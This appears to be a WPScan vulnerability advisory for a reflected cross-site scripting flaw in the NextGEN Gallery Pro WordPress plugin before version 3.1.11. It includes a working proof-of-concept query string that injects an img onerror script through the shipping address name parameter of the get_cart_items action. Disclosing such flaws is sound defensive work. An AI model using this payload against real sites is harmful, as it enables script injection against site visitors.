WordPress Plugin Vulnerabilities
NextGEN Gallery Pro < 3.1.11 - Reflected Cross-Site Scripting (XSS)
Description
In the eCommerce module of NextGEN Gallery Pro, there is an action to call get_cart_items via photocrati_ajax , after that the settings[shipping_address][name] is able to inject malicious javascript.
Proof of Concept
On a page where a NextGEN (Pro) gallery is embed: ?photocrati_ajax=1&action=get_cart_items&cart=&settings[shipping_address][name]=a%3Cimg%20src=x%20onerror=alert('XSS')%3E
Affects Plugins
Fixed in 3.1.11 References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
mgthuramoemyint
Submitter
ThuraMoeMyint
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-02-24 (about 2 years ago)
Added
2021-02-24 (about 2 years ago)
Last Updated
2021-04-29 (about 2 years ago)
WPScan 